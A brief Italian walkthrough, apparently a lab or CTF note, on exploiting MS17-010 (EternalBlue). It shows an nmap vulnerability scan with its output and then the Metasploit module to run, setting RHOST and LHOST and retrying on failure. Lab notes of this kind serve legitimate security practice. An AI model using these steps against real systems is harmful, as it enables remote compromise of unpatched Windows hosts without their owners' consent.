tags: windows exploit ms17-010


Per capire se un bersaglio è o meno vulnerabile ad Eternalblue possiamo utilizzare uno script di nmap come segue:

nmap -p445 --script smb-vuln-ms17-010 10.10.168.190
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-22 11:33 CEST
Nmap scan report for 10.10.168.190
Host is up (0.066s latency).
 
PORT    STATE SERVICE
445/tcp open  microsoft-ds
 
Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
 
Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds

Una volta trovato che è vulnerabile possiamo aprire Metasploit e cercare ms17-010 per poi eseguire:

use exploit/windows/smb/ms17_010_eternalblue

Poi settare Rhost e Lhost e lanciare il comando, potrebbe non riuscire al primo comando quindi è bene insistere.